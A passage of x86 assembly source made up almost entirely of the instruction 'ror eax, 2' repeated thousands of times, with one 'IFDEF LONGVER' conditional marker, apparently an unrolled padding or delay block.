eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ; IFDEF LONGVER ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 